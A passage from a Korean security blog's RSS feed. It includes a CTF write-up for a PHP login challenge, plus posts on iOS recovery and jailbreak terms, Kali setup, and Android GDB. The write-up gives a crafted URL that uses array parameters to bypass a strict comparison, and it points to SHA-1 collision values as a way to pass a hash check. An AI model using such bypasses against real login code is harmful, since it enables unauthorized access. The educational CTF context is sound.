style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'name'&lt;/span&gt;]&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'password'&lt;/span&gt;])&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;span style=&quot;color:#993333&quot;&gt;'Your&amp;nbsp;password&amp;nbsp;can&amp;nbsp;not&amp;nbsp;be&amp;nbsp;your&amp;nbsp;name.'&lt;/span&gt;;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;if&lt;/span&gt;&amp;nbsp;(sha1(&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'name'&lt;/span&gt;])&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ff3399&quot;&gt;=&lt;/span&gt;&amp;nbsp;sha1(&lt;span style=&quot;color:#0099cc&quot;&gt;$_GET&lt;/span&gt;[&lt;span style=&quot;color:#993333&quot;&gt;'password'&lt;/span&gt;]))&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;die(&lt;span style=&quot;color:#993333&quot;&gt;'Flag:&amp;nbsp;'&lt;/span&gt;.&lt;span style=&quot;color:#0099cc&quot;&gt;$flag&lt;/span&gt;);&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color:#ff3399&quot;&gt;else&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print&amp;nbsp;&lt;span style=&quot;color:#993333&quot;&gt;'&amp;lt;p&amp;nbsp;class=&quot;alert&quot;&amp;gt;Invalid&amp;nbsp;password.&amp;lt;/p&amp;gt;'&lt;/span&gt;;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;}&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&amp;nbsp;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color:#ff7e00&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color: rgb(229, 229, 229);&quot;&gt;Colored by Color Scripter&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color: white;&quot;&gt;&lt;span style=&quot;font-size: 9px; word-break: normal; background-color: rgb(229, 229, 229); border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Prudential 문제는 === 로 비교 시, GET으로 배열 형태로 입력해주면 쉽게 우회할 수 있었다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;http://do9.kr/?name[]=a&amp;amp;password[]=b&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 493px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/225E793558C10FB607&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F225E793558C10FB607&quot; width=&quot;493&quot; height=&quot;252&quot; filename=&quot;018.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;Prudentialv2 문제는 (string)으로 타입을 지정하는 방법으로 조치를 해놓은 문제로 배열 형태로 입력해도 우회가 불가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;하지만, sha1() 함수로 해시값을 비교하고 있기 때문에 PDF 파일에서 사용된 값을 이용해서 통과할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/231A295058C10FCA1B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F231A295058C10FCA1B&quot; width=&quot;1000&quot; height=&quot;355&quot; filename=&quot;019.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/279</guid>
      <comments>https://do9dark.tistory.com/279#entry279comment</comments>
      <pubDate>Mon, 27 Feb 2017 15:13:12 +0900</pubDate>
    </item>
    <item>
      <title>iOS 초기화, 탈옥 관련 용어</title>
      <link>https://do9dark.tistory.com/277</link>
      <description>&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- 초기화(복구)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Recovery Mode&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;저장되어 있는 데이터나 콘텐츠는 유지한 상태로 업데이트&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;iTunes나 기기에서 OTA(Over The Air) 방식으로 업데이트할 경우에도 동일한&amp;nbsp;상태라고 함&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;방법&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;1. Connect the device to a computer&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;2. Make sure the iPhone is at the homescreen.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;3. Hold down the lock button.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;4. Ignoring the &quot;Slide to power off&quot; message, hold the home button and the power button until the screen goes black.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;5. Turn the iPhone back on.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;6. Hold down the home button.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;7. Wait until you see the iTunes logo and the cable on the iPhone.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;DFU(Device Firmware Upgrade) Mode&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;저장되어 있는 데이터나 콘텐츠를 제거하여 공장 초기화&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;일반적으로 최신 버전으로 초기화되며 IPSW를 직접 다운로드 받아서 해당 버전으로도 가능하나,&amp;nbsp;Signing 서버가 닫혀있을 경우 불가능&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;방법&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;1. Plug your device into your computer with a USB cable.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;2. Turn off the device.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;3. Hold the Power button for 3 seconds.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;4. Hold the Home and Power buttons for 10 seconds.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;5. Release the Power button but keep holding the Home button.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;6. After about 15 seconds you will be alerted by iTunes saying that it has detected a device in Recovery Mode.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;모든 콘텐츠 및 설정 지우기&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;저장되어 있는 데이터나 콘텐츠를 제거하여 초기화&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;사용하던 iOS 버전으로 초기화(유지), 탈옥한 경우 무한사과가 될 수도 있음&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- 업데이트&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;OTA 방식 업데이트&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;iTunes를 이용한 업데이트&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;IPSW 파일 직접 다운로드하여 iTunes를 이용한 업데이트(Shift + 업데이트 버튼)&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- iTunes 삭제&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;순서&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;1. iTunes&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;2. Quick Time (없을 수도 있음)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;3. Apple Software Update&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;4. Apple Mobile Device Support&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;5. Bonjour&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;6. Apple Application Support (Apple 응용 프로그램 지원(32비트, 64비트))&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;- 탈옥&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Cydia&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Jay Freeman (saurik) 개발&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;탈옥된 아이폰, 아이패드 등 애플 기기에서 사용할 수 있는 앱을 검색하고 설치할 수 있는 앱&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Cydia 명칭은 코드링 나방(Codling Moth)이 유충일 때 주로 사과(Apple)를 갉아먹기 때문에 코드링 나방(Codling Moth)의 학명인 &quot;Cydia pomonella&quot;&amp;nbsp;에서 유래&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Tweak&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;&quot;비틀다, 수정하다&quot; 라는 뜻으로 App Store가 아닌 Cydia에 등록된 앱을 말함&lt;/span&gt;&lt;/p&gt;</description>
      <category>Mobile/iOS</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/277</guid>
      <comments>https://do9dark.tistory.com/277#entry277comment</comments>
      <pubDate>Sun, 13 Nov 2016 01:58:45 +0900</pubDate>
    </item>
    <item>
      <title>Kali 기본적인 설정 (패키지 관리, 한글 입력)</title>
      <link>https://do9dark.tistory.com/276</link>
      <description>&lt;p&gt;&lt;b&gt;- Kali 설치 시, 패키지 관리를 위한 저장소(Repository)가 정상적으로 지정되지 않아서 생기는 문제를 해결하는 방법&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;패키지 관리 명령어(apt-get)을 사용해보면 해당 패키지를 찾을 수 없다는 메시지를 볼 수 있다.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apt-get install -y fonts-nanum&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 630px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/250F753D581C2ABF0B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F250F753D581C2ABF0B&quot; width=&quot;630&quot; height=&quot;147&quot; filename=&quot;001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;존재하지 않는 패키지를 입력하였을 경우에는 조금 다른 메시지를 볼 수 있다.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apt-get install do9dark&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 509px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/253B1243581C2B5D11&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F253B1243581C2B5D11&quot; width=&quot;509&quot; height=&quot;84&quot; filename=&quot;002.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;먼저 저장소(Repository)에 있는&amp;nbsp;목록을 확인해보면 전부 주석 처리되어 비활성화되어 있다. (또는 현재는 사용되지 않는 경로)&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; vi /etc/apt/sources.list&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2758E146581C2BBD0C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2758E146581C2BBD0C&quot; width=&quot;1000&quot; height=&quot;105&quot; filename=&quot;003.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;http://docs.kali.org/general-use/kali-linux-sources-list-repositories&lt;/p&gt;&lt;p&gt;해당 사이트에서 확인한 경로를 추가.&lt;/p&gt;&lt;p style=&quot;margin-left: 2em;&quot;&gt;deb http://http.kali.org/kali kali-rolling main contrib non-free&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/21641940581C2D1213&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F21641940581C2D1213&quot; width=&quot;1000&quot; height=&quot;132&quot; filename=&quot;004.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;패키지 관리 명령어(apt-get)을 이용하여 업데이트.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apt-get update&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 635px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/23615034581C2D880C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F23615034581C2D880C&quot; width=&quot;635&quot; height=&quot;211&quot; filename=&quot;005.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;업데이트가 완료되면 업그레이드도 진행.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apt-get upgrade&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;업그레이드가 완료되면 앞에서 실패했던 패키지 설치를 다시 시도해보면 정상적으로 설치가 되는 것을 확인할 수 있다.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;# &lt;/span&gt;apt-get install fonts-nanum&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2578A537581C2E3C25&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2578A537581C2E3C25&quot; width=&quot;1000&quot; height=&quot;298&quot; filename=&quot;006.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;- 한글 입력하는 방법&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;한글 폰트를 설치.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apt-get install fonts-nanum&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;한글 입력기를 설치.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; apt-get install -y nabi im-switch&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/2121F739581C2FAE19&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F2121F739581C2FAE19&quot; width=&quot;1000&quot; height=&quot;619&quot; filename=&quot;007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;설치한 한글 입력기를 설정.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; im-config -s nabi&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 542px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/246D6333581C30A02E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F246D6333581C30A02E&quot; width=&quot;542&quot; height=&quot;65&quot; filename=&quot;008.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;한글 설정.&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;#&lt;/span&gt; im-config -c&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 624px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/212DF239581C30C215&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F212DF239581C30C215&quot; width=&quot;624&quot; height=&quot;389&quot; filename=&quot;009.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;설정 완료 후 재시작해주면 적용되어 Kali에서도 한글을 사용할 수가 있다.&lt;/p&gt;&lt;p&gt;언어 변환은 &lt;b&gt;Shift+Space&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 322px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/246B433F581C38B832&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F246B433F581C38B832&quot; width=&quot;322&quot; height=&quot;19&quot; filename=&quot;010.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;- 단축키&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;gnome-control-center (설정)&lt;/p&gt;&lt;p&gt;gnome-terminal (터미널)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;키보드 &amp;gt; 바로가기 &amp;gt; 사용자 설정 바로 가기에서 단축키로 지정할 수 있다.&lt;/p&gt;</description>
      <category>Tip</category>
      <author>do9dark</author>
      <guid isPermaLink="true">https://do9dark.tistory.com/276</guid>
      <comments>https://do9dark.tistory.com/276#entry276comment</comments>
      <pubDate>Fri, 4 Nov 2016 14:59:34 +0900</pubDate>
    </item>
    <item>
      <title>Android에서 사용 가능한 GDB, GDBSERVER</title>
      <link>https://do9dark.tistory.com/275</link>
      <description>&lt;div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Menlo, Monaco, Consolas, monospace; font-size: 10pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;GNU gdb (GDB) 7.5.1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;Copyright (C) 2012 Free Software Foundation, Inc.&lt;/span&gt;&lt;/span&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font face=&quot;Menlo, Monaco, Consolas, monospace&quot;&gt;&lt;span style=&quot;font-size: 13.3333px;&quot;&gt;&lt;span style=&quot;font-family: Verdana; font-size: 10pt;&quot;&gt;License GPLv3+: GNU GPL version 3 or later 